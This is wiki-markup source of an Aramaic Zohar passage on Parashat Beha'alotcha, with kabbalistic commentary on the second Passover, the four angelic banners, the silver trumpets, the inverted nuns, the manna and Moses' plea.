{{צ|או בדרך רְחֹקָהׄ}} - דא איהו חד מעשרה דאינון נקודים באורייתא. וכולהו אתיין לאחזאה מלה! {{ש}}
מאי {{צ|בדרך רחוקה}}? בגין דבר נש דאיהו מסאיב גרמיה - מסאבין ליה לעילא. כיון דמסאבין ליה לעילא - הא איהו {{צ|בדרך רחוקה}} מההוא אתר וארחא דזרעא דישראל אחידן ביה. הא בדרך רחוקה אחיד! דאתרחק  מלמקרב לכון ולאתקשרא בכון כמה דאתון מתקשרין. 

אמר רבי יצחק: והא כתיב {{צ|כי יהיה טמא לנפש '''או''' בדרך רחוקה}} - דאתחזי תרין מלין, משמע דכתיב {{צ|או}}!? {{ש}}
אמר ר' יוסי: כאן עד לא מסאבין ליה, כאן בתר דמסאבין ליה. ומשמע אפילו האי או האי - לא ישרי עלוי קדושה דלעילא ולא יעבדון פסחא בזמנא דישראל עבדין ליה. 

ואי תימא הא בירחא תניינא עביד אי לא מתקן גרמיה! -- לא! אלא כיון דמתדכי ומתקן גרמיה - הא ירחא תניינא למעבד פסחא. מכאן כל בר נש דמדכי גרמיה - מדכאן ליה. 

דאי תימא דבדרגא עלאה יתיר קאים בירחא תניינא -- לאו הכי! דהא ישראל זרעא קדישא דעבדו פסחא בזמניה נטלו ליה לסיהרא ולשמשא כחד, ומאן דנטיל יסודא בקדמיתא נטיל בניינא. מאי יסודא? לא תימא יסודא עלאה דצדיקא דעלמא. אלא יסודא דאבן טבא! כמה דאת אמר {{צ|אבן מאסו הבונים היתה לראש פנה}} {{ממ|תהלים|קיח|כב}}. והאי הוא אבן דשארי עליה מאן דשארי. 

אמר רבי יהודה: ודאי כלא נטיל אפילו בירחא תניינא, אבל לאו איהו כמאן דנטיל ליה בזמניה. {{ש}}
מאי טעמא? {{ש}}
דא דנטיל פסחא בזמניה נטיל מתתא לעילא ולא נחית, בגין דמעלין בקדש ולא מורידין.&lt;קטע סוף=דף קנב ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנג|א}}{{ש}}
&lt;קטע התחלה=דף קנג א/&gt;ודא דנטיל בתר זמניה נחית מעילא לתתא. בגין כך שוין בכלא, ולא שוין. דדא סליק ולא נחית, ודא נחית ולא סליק. בגין כך מאן דמקרב פסחא בזמניה - שבחא יתיר אית ליה. 

זכאין אינון ישראל דזכאן בכלא, דזכאן באורייתא! וכל מאן דזכי באורייתא - זכי ליה בשמא קדישא! זכאין אינון ישראל בעלמא דין ובעלמא דאתי! &lt;קטע סוף=דף קנג א/&gt;
 

{{ממ זהר משולב|ג|קנג|ב}}{{ש}}
&lt;קטע התחלה=דף קנג ב/&gt;'''{{צ|וביום הקים את המשכן}} {{ממ|במדבר|ט|טו}}'''. {{ש}}
ר' חייא פתח {{צ|פִּזַּר נתן לאביונים צדקתו עומדת לעד קרנו תרום בכבוד}} {{ממ|תהלים|קיב|ט}}. {{ש}}
{{צ|פזר נתן לאביונים}} - מאי {{צ|פִּזַּר}}? כמה דאת אמר {{צ|יש מפזר ונוסף עוד}}{{ש}} {{ממ|משלי|יא|כד}}. יכול פזור בעלמא? {{ש}}
קמ&quot;ל {{צ|פזר נתן לאביונים}} - כיון דיהיב למסכני האי פזורא יאות. 

מאי {{צ|ונוסף עוד}}? {{ש}}
בכלא! {{צ|ונוסף עוד}} - בעותרא! {{צ|ונוסף עוד}} - בחיי! 

האי קרא הכי מבעי ליה: &quot;יש מפזר '''ויוסף עוד'''&quot;! מאי {{צ|ונוסף}}? {{ש}}
אלא ההוא אתר דשרי ביה מיתה - הוא גרים ליה דיתוסף מחיים דלעילא לאוספא ליה. 

אמר רבי יהודה אמר רבי חייא: קרא אסהיד דכל מאן דיהיב למסכני - אתער אילנא דחיי לאוספא לההיא אילנא דמותא, וכדין אשתכח חיים וחדו לעילא. ובר נש דגרים דא בשעתא דאצטריך ליה - ההוא אילנא דחיי קאים עליה וההוא אילנא דמותא אגין עלוי. ובגין כך {{צ|ונוסף עוד}}. &lt;קטע סוף=דף קנג ב/&gt;

{{ממ זהר משולב|ג|קנד|א}} {{ש}}
&lt;קטע התחלה=דף קנד א/&gt;{{צ|צדקתו עומדת לעד}} - מאי {{צ|עומדת לעד}}? עומדת עליה דבר נש לזמנא ליה קיומא וחיים. כמה דאיהו יהיב ליה חיים ואתער לגבי חיין - הכי נמי יהבין ליה. ואינון תרי אילנין  קיימין עליה לשיזבא ליה ולאוספא ליה חיין. 

{{צ|קרנו תרום בכבוד}} {{ממ|תהלים|קיב|י}} - תא חזי עלמא דאמרן ההוא קרן - {{צ|תרום}}. ובמה? {{צ|בכבוד}} דלעילא. {{ש}}
דהאי בר נש גרים לחברא לון כחדא ולארקא ברכאן לעילא ותתא. 

רבי אבא אמר בכל זמנא דמשכנא אתקם בעובדיהון דבני נשא - כדין ההוא יומא יומא דחדווה דכלא, ומשח רבות קדישא אתרק בהנהו בוצינין, ונהרין כלהו. מאן דגרים דא - גרים ליה  דישתזיב בהאי עלמא ויהא ליה חיים בעלמא דאתי. הדא הוא דכתיב {{צ|וצדקה תציל ממות}} {{ממ|משלי|י|ב}}, וכתיב {{צ|וארח צדיקים כאור נגה הולך ואור עד נכון היום}} {{ממ|משלי|ד|יח}}.


'''{{צ|עשה לך שתי חצוצרות כסף וגו'}} {{ממ|במדבר|י|ב}}'''. {{ש}}
רבי שמעון פתח {{צ|ובלכת החיות ילכו האופנים אצלם ובהנשא החיות מעל הארץ ינשאו האופנים}} {{ממ|יחזקאל|א|יט}}. {{צ|ובלכת החיות}} - בקוזפירא דלעילא הוו אזלי. דאי תימא דהאי לעילא לעילא -- לאו! לתתא! אלא כגוונא 'האי מקמי אנפין והאי לבתר אנפין'. 

זיקא מארבע זיקין בארבע מדורין ובארבע סטרין, בזיוון דאתברון, בקולמיטין דאנפין נהירין. בגין כך כעין  {{צ|כמראה החיות}} - דאינון ארבע זויין דגלין פרישן. 

'''אריה נשר שור'''. '''אדם''' - דכליל כלהו ד' מלאכין, דשלטין וכלילן כלא.


'''דגלא קדמאה''' - משריא מזיינא '''אריה'''. '''מיכאל'''. רשים בפרישו דגלא פרישא לימינא.{{ש}}
מזרח - שירותא דשמשא אזיל במטלנוי בנהירו. 

תרין ממנן תחות ידיה - '''יופיאל צדקיאל'''. {{ש}}
חד לאורתא{{הערה|(נ&quot;א לאורייתא)}} וחד למיהך בשוקא דאזיל. {{ש}}
כד אלין נטלין - נטלין כמה משריין מזיינין מסטרא דימינא. וכלא חד לסטרא שמאלא! שמשא אזיל  ונהיר ומעטר להו. אלף ורבוון ממנן תחותוי וכלהו בדחילו באימתא בזיע ברתת. 

אריה אושיט ידיה ימינא - כניש לכל חילוי לגביה. תלת מאה ושבעין אלף אריוותא סוחרניה דההוא ארי&quot;ה, ואיהו בינייהו באמצעיתא. 

כד געי האי אריה - מזדעזען רקיעין וכל חילין ומשריין מזדעזעין מדחילו דיליה! מההוא קלא נהר די נור מתלהטא ונחית באלף וחמש מאה דרגין דגיהנם לתתא. כדין כלהו חייבין דגיהנם מזדעזען ומלהטן אשא. ועל דא כתיב {{צ|אריה שאג מי לא יירא}} {{ממ|עמוס|ג|ח}}. 

געי תניינות - תלת מאה ושבעין אלף אריוותא כלהו געאן. {{ש}}
אושיט ידיה שמאלא - כל מאריהון דדינא לתתא דחלין ואתכפיין תחות ההוא ידא. וההוא ידא פשיט עלייהו וכלהו תחותיה, כמה דאת אמר {{צ|ידך בעורף אויביך}} {{ממ|בראשית|מט|ח}}. 

ארבע גדפין לכל חד וחד. מאשא חוורא כלהו מלהטין. כל אפין דחזור ושושן בחוורתא דההוא אשא שקיען. 

ארבע אנפין לכל חד וחד לארבע סטרין - כלהו נהירין בחוורא דשמשא. 
* חד לסטר מזרח - נהיר בחדו, 
* וחד לסטר מערב -  דא כניש נהוריה, 
* וחד לסטר צפון - חשוך בלא נהירו, כצלא דשמשא לגבי שמשא; צלא חשוך, שמשא נהיר. בגין דשמשא וצלא - ימינא ושמאלא, ואזלא כחדא. 


חושבן דאזלין עמיה - כל אינון דנטלין זיינא. וכלהו מימינא ומשמאלא בתלת רישין. 
* רישא חדא דיליה - {{קיצור|שבעין וארבע אלף ושית מאה|74,600}} {{ממ|במדבר|א|כז}} - אלין אינון רישא חד נפקי חילא בימינא דאיהו ארים עלייהו. בר כל אינון ממנן דלתתא תחות אלין. שלטונין אלין על אלין, דרגין תתאין עם עלאין, דלית לון חושבנא. 

* רישא תניינא - דאזיל ברישא קדמאה. חושבן דיליה {{קיצור|חמשין וארבע אלף וארבע מאה|54,400}} {{ממ|במדבר|א|כט}}, בר כל אלין ממנן דתחותיה לארבע סטרין דלית לון חושבנא.&lt;קטע סוף=דף קנד א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנד|ב}}{{ש}}
*&lt;קטע התחלה=דף קנד ב/&gt;רישא תליתאה דאזיל בתרייהו - {{קיצור|חמשין ושבעה אלף וארבע מאה|57,400}} {{ממ|במדבר|א|לא}}. 

כגוונא דנטיל ימינא - הכי נמי נטיל שמאלא! הכי נמי מקמייהו, הכי נמי מבתרייהו! 

כיון דנטיל האי קדמאה - {{צ|והורד המשכן}} {{ממ|במדבר|י|יז}} - וכלהו ליואי אמרי שירתא. מארי דתושבחן כלהו מסטריה. כדין {{צ|כי רוח החיה באופנים}} {{ממ|יחזקאל|א|כ}} כתיב. 


'''דגלא תניינא''' - משרייא מזיינא '''נשר אוריאל דרום'''. {{ש}}
תרי ממנן עמיה - '''שמשיאל חסדיאל'''. 

האי נשר סליק וכל מאריהון דגדפין מקמיה. כמה משריין סלקין בכל סטרין; כל חד וחד בתוקפא דשמשא. רוחא דרוחא פנימאה נפיק, וההוא רוחא מטי להאי נשר וסליק אברוי ומכסייא לגופא, כמה דאת אמר {{צ|המבינתך יאבד נץ יפרוש כנפיו לתימן}} {{ממ|איוב|לט|כו}}. כגוונא, כדוגמא, כעין. {{צ|כנשר יעיר קנו}} {{ממ|דברים|לב|יא}}.{{ש}}  
האי נשר - נץ בהדיה. יונה בהדיה נץ. וכל מארי דגדפין כלהו מצפצפן וחדאן. 

חד מסטרא  קמיה סליק מתתא לעילא. כמה ציפרין נחתין ועאלין, מצפצפן וחדאן, אזלין ושאטין. 

כד נטיל - אושיט גדפא ימינא, כניש לכל חילוי - תלת מאה וחמשין אלף מארי דגדפין בתרי גופי - '''נשר ואריה''' כחדא. {{ש}}
ארים קלא - כלהו אחרנין סלקין ונחתין מצפצפן מסטרייהו מכמה דרגין. 


תלת רישין אינון כחדא במשריין אלין, וכלהו בחד חושבן, וחושבן דאלין רישין. 
* רישא חדא - {{קיצור|ארבעין ושית אלף וחמש מאה|46,500}} {{ממ|במדבר|א|כא}}. 
* רישא תנינא - {{קיצור|חמשין ותשע אלף ותלת מאה|59,300}} {{ממ|במדבר|א|כג}}. 
* רישא תליתאה - {{קיצור|ארבעין וחמש אלפין ושית מאה וחמשין|45,650}} {{ממ|במדבר|א|כה}}. {{ש}}
מאלין תרי סטרין נפקי תרין כרוזי דאזלי מקמי כלהו משריין. כד אלין תרי מכריזי - כל חילין וכל משריין חיוון זעירין עם רברבן כלהו מתכנשי. מאן חמי נטילא דכלהו רקיעין! כולהו נטלין במטולא במשריין לקמיה דההוא משכנא! 

בשעתא דחד מנייהו, ההוא דאתי מסטרא דאריה, פשיט קלא בגין דלא יזדעזעון כל אינון קלין - כדין מתכנשין כל אינון משריין. בשעתא דאחרא קרי - מתבר קלא ולא פשיט. כל אינון משריין דהאי נשר כלהו מתכנשו לנטלא במטלנייהו. {{ש}}
לקביל אינון - '''{{צ|שתי חצוצרות כסף}}'''. {{ש}}
כגוונא דא כלא לתתא.

תא חזי כד אלין נטלין מה כתיב? {{צ|ובלכת החיות ילכו האופנים אצלם}} {{ממ|יחזקאל|א|יט}} - אינון דמתכנשו לגביהו כגוונא דרישא אסתכל - הכי נמי כלהו. 


'''דגלא תליתאה''' - '''שור, גבריאל, צפון'''. {{ש}}
תרין ממנן עמיה - '''קפציאל חזקיאל'''. 

האי שור מסטרא דשמאלא. קרנוי סלקין בין תרין עינוי. רגיז באסתכלותא. עיינין מלהטן כאשא דנור דליק. נגח ורפסא ברגלוי ולא חייס. 

כד געי האי שור - נפקין מנוקבא דתהומא רבא כמה חבילי  טריקין. כלהו געאן ושטאן קמיה. וחימתא ואחמתא דכל חובין תלייא קמיה - דהא כל חובי עלמא כלהו בספרא סליקין וכתיבין. 

שבעה נהרי דאשא נגדין קמיה. כד צחי - אזיל לגבי ההוא נהר דינור ושאיב ליה בגמיעא חדא, וההוא נהר אתמלי כדבקדמיתא ולא כדיב. 

כל אינון חיילין שאבין 'אשא אכלא אשא'. ואלמלא דמסטרא דאריה נפיק חד נהרא דמייא דמכבין גחלתייהו - לא יכל עלמא למסבל! 

חשוכא דשמשא תמן אשתכח. לא אשתכח נהירו. כמה גרדיני נמוסין אזלין ושטאן בחשוכא, וההוא נהר דדליק בסטרא דא - נורא אוכמא חשוך. 

ואי תימא דלא אית אשא חוורא, אשא אוכמא, אשא סומקא, אשא דתרי גווני -- לא תימא! דהא ודאי הכי הוא! ועם כל דא לעילא לעילא הכי אשתכח, ומתמן נגיד לאלין תתאי. 


תנינן: אורייתא במה אשתכחת? אשא חוורא, ואשא אוכמא על גבי אשא חוורא. בתרי אשי אשתכחת אורייתא! {{ש}}
תא חזי אשא חדא הוא והאי אתפלג לארבעה. &lt;קטע סוף=דף קנד ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנה|א}}{{ש}}
&lt;קטע התחלה=דף קנה א/&gt;מיא - חדא איהו - והאי אתפליג לארבע! {{ש}}
רוחא - חדא איהו - והאי אתפליג לארבע! 

תלת רישין אשתכחו  במשריין אלין. חושבן דלהון: 
* רישא חדא - {{קיצור|שתין ותרי אלף ושבע מאה|62,700}}.  
* רישא תניינא - {{קיצור|ארבעין וחד אלף וחמש מאה|41,500}}.  
* רישא תליתאה - {{קיצור|תלת וחמשין אלף וארבע מאה|53,400}}. {{ש}}
בר כל אינון דרגין אחרנין דאתפרשן בסטרייהו ולית לון חושבנא. 

כלהו דרגין על דרגין - בר כמה גרדיני נמוסין דאינון לתתא חציפין ככלבא נשכין כחמרא. {{ש}}
ווי מאן דאשתכח גבייהו! {{ש}}
ודינא דלהון בסטרא רביעאה. 


'''דגלא רביעאה''' - '''אדם, רפאל, מערב'''. {{ש}}
בהדיה אסוותא. {{ש}}
בסטרא דאדם אתכליל דינא עלאה - עליה אתסי. {{ש}}
האי  אחיד בקרנוי דשור כד מבעי לאעלא לון לתהומא רבא, וכפית לון דלא יוקיד עלמא. 

בתר דא שריא {{צ|קול דממה דקה}} {{ממ|מ&quot;א|יט|יב}}.  הכא מלה בחשאי - לא משתמע מלה דהברה כלל. 

בסטרא דא שריא מאן דשריא, סליק מאן דסליק, שמשא אתכניש לאנהרא להאי אתר. 

בגין כך {{צ|ותקעתם תרועה}} בסטר דרום {{ממ|במדבר|י|ו}}. אבל הכא - לאו האי ולאו האי. אמאי תרועה? לאכפייא סטר צפון. ובגין כך סטר צפון לאחורא. 

תא חזי שתי חצוצרות - בגין דאינון מסטרי תרי דקאמרי ממזרח ומדרום - אינהו זמינין לתברא דינין ולאכפייא לון. ועל דא אינון מכסף. ובגין כך '''{{ממ|במדבר|י|י}} {{צ|וביום שמחתכם ובמועדיכם וגו' ותקעתם בחצוצרות}}''' סתם - בין לעילא בין לתתא. 

זכאין אינון ישראל! דקב&quot;ה בעי ביקריהון, ויהיב לון חולקא עלאה על כל שאר עמין, וקב&quot;ה אשתבח בהו בתושבחתייהו. הדא הוא דכתיב {{צ|ויאמר לי עבדי אתה ישראל וגו'}} {{ממ|ישעיהו|מט|ג}}.


'''{{צ|ויהי בנסוע הארון ויאמר משה וגו'}} {{ממ|במדבר|י|לה}}'''. {{ש}}
רבי אלעזר אמר הכא אית לאסתכלא - '''נ'''' דאיהו  מנוזר לאחורא אמאי? אמאי בתרי דוכתא הכא? {{ש}}
ואי תימא '''נ' כפופה''' -- הא ידיעה! '''נ' כפופה''' - נוקבא, '''ן' פשוטה''' - כללא דדכר ונוקבא. והא אוקימנא באתר דא {{צ|ויהי בנסוע הארון}}.  {{ש}}
אמאי אתהדר לבתר כגוונא דא [ציור של נ']? 

תא חזי '''נ'''' ב{{צ|אשרי יושבי ביתך}} לא אתמר בגין דהיא בגלותא. והא אוקמוה חברייא דכתיב {{צ|נפלה לא תוסיף קום בתולת ישראל וגו'}} {{ממ|עמוס|ה|ב}}. אלא מה כתיב לעילא? {{צ|וארון ברית יהוה נוסע לפניהם דרך שלשת ימים לתור להם מנוחה}} {{ממ|במדבר|י|לג}} - כיון דהוה נטיל ארונא - '''נ'''' נטיל  עמיה. והא שכינתא על גבי ארונא יתיב. 

תא חזי חביבותא דקב&quot;ה לגבייהו דישראל! דהא אע&quot;ג דאינון סטאן מארח מישר - קב&quot;ה לא בעי לשבקא לון, ובכל זמנא אהדר אנפוי לקבלייהו. דאי לאו הכי לא יקומון בעלמא. 

תא חזי ארונא הוה נטל קמייהו ארח תלתא יומין - '''נ'''' לא הוה מתפרש מניה! ונטיל עמיה! ומגו רחימו דלהון דישראל - אהדר אנפוי ואסתחר מלגבי ארונא כהאי איילא דעזלתא כד איהו אזיל - אהדר אפוי לאתר דנפיק. ועל דא {{צ|בנסוע הארון}} - '''נ'''' אסחר אנפין לקבלייהו דישראל, וכתפי גופא לגבי ארונא. 

ועל דא כד ארונא הוה נטיל משה אמר {{צ|קומה יהוה}} - לא תשבוק לן! אהדר אנפך לגבן! כדין '''נ'''' אתהדר לגבייהו כגוונא דא [ציור], כמאן דמהדר אנפיה למאן דרחים. {{ש}}
וכד הוה שארי ארונא למשרי - כדין אהדר '''נ'''' [ציור] אנפוי מישראל ואתהדר לגבי ארונא. ובכלא אתהדר. 


אמר ר' שמעון: אלעזר בודאי הכי הוא! אבל הכא לא אהדר אנפוי מישראל! דאי הכי בעי '''נ'''' לאתהפכא מגוונא אחרא לעילא. האי '''נ'''' מנוזר לאחורא והאי בארח מישר לגבי ארונא. 

אלא ודאי לא אהדר אנפוי מנייהו! ומה עביד? בשעתא דשארי ארונא למשרי אמר משה {{צ|שובה יהוה}} {{ממ|במדבר|י|לו}} - כדין שארי ארונא ושכינתא קאים בסטרא אחרא ואנפין לקבלייהו דישראל ולקבליה דארונא, ובגין כך כדין כליל לכוונא לארונא ולישראל. &lt;קטע סוף=דף קנה א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנה|ב}}{{ש}}
&lt;קטע התחלה=דף קנה ב/&gt;אלא דישראל גרמו לבתר דכתיב {{צ|ויהי העם כמתאוננים}} {{ממ|במדבר|יא|א}}. 


אמר רבי אלעזר: &quot;''אנא דאמרן מספרא דרב ייבא סבא דאמר דבין בהאי גיסא ובין בהאי גיסא אתהדר!''&quot; {{ש}}
אמר ליה: &quot;''שפיר קאמר! אבל דא דאמינא הכי תשכח בספרא דרב המנונא סבא והכי הוא ודאי!''&quot;


'''{{צ|והמן כזרע גד הוא}} {{ממ|במדבר|יא|ז}}'''. {{ש}}
אמר רבי יוסי לקיימא זרעא וחילין בארעא, כמה דאת אמר {{צ|גד גדוד יגודנו}} {{ממ|בראשית|מט|יט}}. מה זרעא דגד - נטלי חולקיהון בארעא אחרא, כך מָן שריא עלייהו דישראל לבר מארעא קדישא! {{ש}}
דבר אחר: {{צ|כזרע גד הוא}} - כזרעא דגד חוורא, ואקפי כד נחית לאוירא ואתבלע בגופא. והא אוקמוה חברייא. {{ש}}
'''{{צ|ועינו כעין הבדולח}}''' - כההוא בדולחא דאיהו חוור כגוונא דימינא  דלעילא. 


אמר רבי יצחק: מאי שנא  דמשה במלה דא חליש לעילא כנוקבא דכתיב '''{{צ|אם ככה את עושה לי}} {{ממ|במדבר|יא|טו}}'''? {{צ|את}}!? &quot;אתה&quot; מבעי ליה?! {{ש}}
אלא לאתר דמותא שארי ביה קאמר! וההוא אתר דנוקבא איהו. בגין כך אמר '''{{צ|הרגני נא הרוג}}'''. ודא אילנא דמותא. והא אוקימנא דבאילנא דחיי לא שרייא ביה מותא. ועל דא אתהדר לגבי אילנא דמותא ואמר {{צ|את}} ולא אמר 'אתה'. והכי מבעי ליה! 


מיד '''{{צ|ויאמר יהוה אל משה אספה לי שבעים איש וגו'}} {{ממ|במדבר|יא|טז}}'''. {{ש}}
אמר ליה קב&quot;ה: את בעי מותא בכל זמנא! הרי לך! -- '''{{צ|ואצלתי מן הרוח וגו'}} {{ממ|במדבר|יא|יז}}'''. 

תא חזי דהכא ידע משה דאיהו ימות ולא ייעול לארעא - דהא אלדד ומידד מלה דא הוו אמרי. {{ש}}
על דא לא לבעי ליה לאינש בשעתא דרוגזא שארי ביה ללטייא גרמיה - דהא כמה קיימי עליה דמקבלי ההיא מלה. {{ש}}
בזמנא אוחרנא דבעא מיתה - לא קבילו מניה, בגין דכלא לתועלתא דישראל הוה. השתא - לאו איהו אלא מגו רוגזא ודוחקא, ובגין כך קבילו מניה! ועל דא אשתארו לבתר אלדד ומידד ואמרו דא; דמשה יתכניש ויהושע ייעול לון לישראל לארעא. 

ובגין כך אתא יהושע לגבי משה וקני עליה דמשה. ומשה לא אשגח ביקרא דיליה. ועל דא אמר '''{{צ|אדני משה כלאם}} {{ממ|במדבר|יא|כח}}'''. מאי {{צ|כלאם}}? מנע מנהון אינון מלין כמה דאת אמר {{צ|ויכלא העם מהביא}} {{ממ|שמות|לו|ו}}, {{צ|ויכלא הגשם מן השמים}} {{ממ|בראשית|ח|ב}} - מניעותא ממש. ומשה לא בעא. 

פוק חמי ענוותנותיה דמשה! מה כתיב '''{{צ|המקנא אתה לי וגו'}} {{ממ|במדבר|יא|כט}}'''. {{ש}}
זכאה חולקיה דמשה דאיהו סליק על כלהו נביאי  דעלמא! {{ש}}
אמר רבי יהודה: כל שאר נביאין לגבי משה - כסיהרא לגבי שמשא. 

===קטע זמני===
'''רבי אבא''' הוה יתיב ליליא חד ולעי באורייתא. והוו עמיה '''ר' יוסי ור' חזקיה'''. {{ש}} 
אמר רבי יוסי: כמה אינון בני נשא תקיפי לבא דלא משגחי במלי דההוא עלמא כלום! {{ש}} 
אמר רבי אבא: 'בישא דלבא' דאחידא בכל שייפי גופא קא עביד לון! 

פתח ואמר: {{צ|יש רעה אשר ראיתי תחת השמש ורבה היא על האדם}} {{ממ|קהלת|ו|א}}. {{ש}}
{{צ|יש רעה}} - דא איהי תוקפא בישא דלבא.  דבעי לשלטאה במילי דהאי עלמא, ולא אשגח במילי דההוא עלמא מידי.

אמאי איהי {{צ|רעה}}? {{ש}}
קרא דבתריה אוכח דכתיב {{צ|איש אשר יתן לו האלהים עושר ונכסים [וכבוד ואיננו חסר לנפשו מכל אשר יתאוה ולא ישליטנו האלהים לאכל ממנו כי איש נכרי יאכלנו זה הבל וחלי רע הוא]}} {{ממ|קהלת|ו|ב}}.{{ש}}
האי קרא קשיא! כיון דכתיב {{צ|ואיננו חסר לנפשו מכל אשר יתאוה}} - אמאי {{צ|ולא ישליטנו האלהים לאכול ממנו}}? דהא אינו חסר לנפשו כלום? 

אלא רזא איהו! וכל מלוי דשלמה מלכא מתלבשן אינון במלין אחרנין. כמלי דאורייתא דאינון מתלבשן בספורי עלמא! &lt;קטע סוף=דף קנה ב/&gt;

{{ממ זהר משולב|ג|קנו|א}}

&lt;קטע התחלה=דף קנו א/&gt;תא חזי! אף על גב דבעינן לאסתכלא בלבושא - השתא האי קרא הכי קאמר! דבר נש אזיל בהאי עלמא, ויהיב ליה קב&quot;ה עותרא בגין דיזכי ביה לעלמא דאתי וישתאר לגביה קרן. מאי קרן? ההוא דאיהו קיים דאיהו אתר לאתצררא בית נשמתא. {{ש}}
בגין כך בעי לאשארא  עותריה להאי 'קרן', והאי 'קרן' יקבל ליה בתר דיפוק מהאי עלמא. בגין דהאי קרן הוא אילנא דחיי דההוא עלמא. ולא קיימא בהאי עלמא אלא ההוא איבא דנפיק מניה. ועל דא איבא דיליה אכיל בר נש דזכי בהאי עלמא, {{צ|והקרן}} קיימא ליה לההוא עלמא למזכי ביה בחיין עלאין דלעילא. 

ומאן דסאיב גרמיה ואתמשך בתר גרמיה, וליתיה חסר לנפשיה ולגרמיה כלום, וההוא אילנא אשתאר ולא שויה לקבליה בדחילו ולקבלא ליה לעילא -- כדין {{צ|ולא ישליטנו האלהים לאכל ממנו}} ולמזכי בההוא עותרא! ודאי 'איש אחר יאכלנו', כמה דאת אמר {{צ|יכין וצדיק ילבש}} {{ממ|איוב|כז|יז}}. 

בגין כך בעי בר נש למזכי במה דיהיב ליה קב&quot;ה לההוא עלמא! וכדין אכיל מיניה בהאי עלמא, וישתאר לגביה ההוא קרן לעלמא אחרא, למהוי צרורא בצרורא דחיי. 

אמר רבי יוסי: &quot;''ודאי!''&quot;


תו אמר רבי יוסי: כתיב {{צ|אם ככה את עושה לי הרגני נא וגו'}} {{ממ|במדבר|יא|טו}} - וכי משה דאיהו ענו מכל בני עלמא - בגין דשאילו מניה ישראל למיכל מסר גרמיה למיתה!? אמאי? 

א&quot;ר אבא: האי מלה אוליפנא ורזא עלאה איהו! {{ש}}
משה לא אבאיש קמיה ולא שאל למיתה על דשאילו ישראל! תא חזי משה אתאחד והוה סליק במה דלא אתאחד נביאה אחרא - דהא אחיד צדקה הוה. ובשעתא דאמר ליה קב&quot;ה למשה {{צ|הנני ממטיר לכם לחם מן השמים}} {{ממ|שמות|טז|ד}} - חדי משה ואמר &quot;''ודאי השתא ההוא שלימו בי אשתכח, דהא בגיני אשתכח מן לישראל!''&quot;. כיון דחמא משה דאהדרו לנחתא לדרגא אחרא ושאילו בשר ואמרי {{צ|ונפשנו קצה בלחם הקלוקל}} {{ממ|במדבר|כא|ה}}, אמר אי הכי הוא - הא דרגא דילי פגים, דהא בגיני ייכלון ישראל מן במדברא. הא אנא פגימא ואהרן פגים ונחשון בן עמינדב פגים. 

אמר {{צ|ואם ככה את עושה לי הרגני נא הרוג}} - דחשיבנא נוקבא במיכלא דילה. ואנא נחית מן שמייא דאיהו דרגא עלאה לנחתא לדרגא דנוקבא. ואנא עדיף מן שאר נביאי עלמא. ועל דא אמר {{צ|ואל אראה ברעתי}}  ודאי! לנחתא לדרגא תתאה! 

כדין {{צ|ויאמר יהוה אל משה אספה לי שבעים איש}} - את שאיל אתר דמותא - לא תבעי אתר דא - דלא תהא פגים בדרגא דילך! ועל דא כתיב {{צ|ואצלתי מן הרוח אשר עליך}} - דכלהו אינון דתמן - אתאחדו בסיהרא ובעי שמשא לאנהרא לה. ועל דא {{צ|ושמתי עליהם}} בגין לאנהרא מן שמשא כנהורא דסיהרא. 

ובגיני האי מיכלא דא לא אתייא על ידא דמשה בגין דלא יתפגים. 

זכאה חולקא דמשה דקב&quot;ה בעי ביקריה! עליה כתיב {{צ|ישמח אביך ואמך וגו'}} {{ממ|משלי|כג|כה}}. {{צ|ישמח אביך}} דא קב&quot;ה, {{צ|ואמך}} דא כנסת ישראל. {{צ|ותגל יולדתך}} - דא אימא דמשה דלתתא קב&quot;ה רחים ליה יתיר מכל נביאי עלמא בלא אמצעי כלל, דכתיב {{צ|פה אל פה אדבר בו}}. והא אוקימנא בכמה אתר:


'''{{צ|ויצעק משה אל יהוה לאמר אל נא רפא נא לה}} {{ממ|במדבר|יב|יג}}'''. הא אוקמוה והוא רזא דשמא קדישא, מחד סרי אתוון, ולא בעא משה לצלאה יתיר בגין דעל דידיה למלכא לא בעי &lt;קטע סוף=דף קנו א/&gt;{{ממ זהר משולב|ג|קנו|ב}}&lt;קטע התחלה=דף קנו ב/&gt;לאטרחא יתיר. בגין כך קב&quot;ה בעא על יקרא דמשה. ובכל אתר קב&quot;ה בעא על יקריהון דצדיקייא יתיר על דיליה. ולזמנא דאתי עתיד קב&quot;ה למתבע עלבונא דישראל מעמין עכו&quot;ם ולמחדי לון בחדוותא דציון דכתיב {{צ|ובאו ורננו במרום ציון וגו'}} {{ממ|ירמיהו|לא|יא}}. וכדין {{צ|ובא לציון גואל וגו'}} {{ממ|ישעיהו|נט|כ}}. 

'''ברוך יהוה לעולם אמן ואמן ימלוך יהוה לעולם אמן ואמן'''&lt;קטע סוף=דף קנו ב/&gt;

==פרשת בהעלותך - רעיא מהימנא==
{{ממ זהר משולב|ג|קמח|ב}}&lt;קטע התחלה=רע&quot;מ דף קמח ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קמח ב/&gt;

{{ממ זהר משולב|ג|קמט|א}}&lt;קטע התחלה=רע&quot;מ דף קמט א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קמט א/&gt;

{{ממ זהר משולב|ג|קמט|ב}}&lt;קטע התחלה=רע&quot;מ דף קמט ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קמט ב/&gt;

{{ממ זהר משולב|ג|קנ|א}}&lt;קטע התחלה=רע&quot;מ דף קנ א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנ א/&gt;

{{ממ זהר משולב|ג|קנ|ב}}&lt;קטע התחלה=רע&quot;מ דף קנ ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנ ב/&gt;

{{ממ זהר משולב|ג|קנא|א}}&lt;קטע התחלה=רע&quot;מ דף קנא א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנא א/&gt;

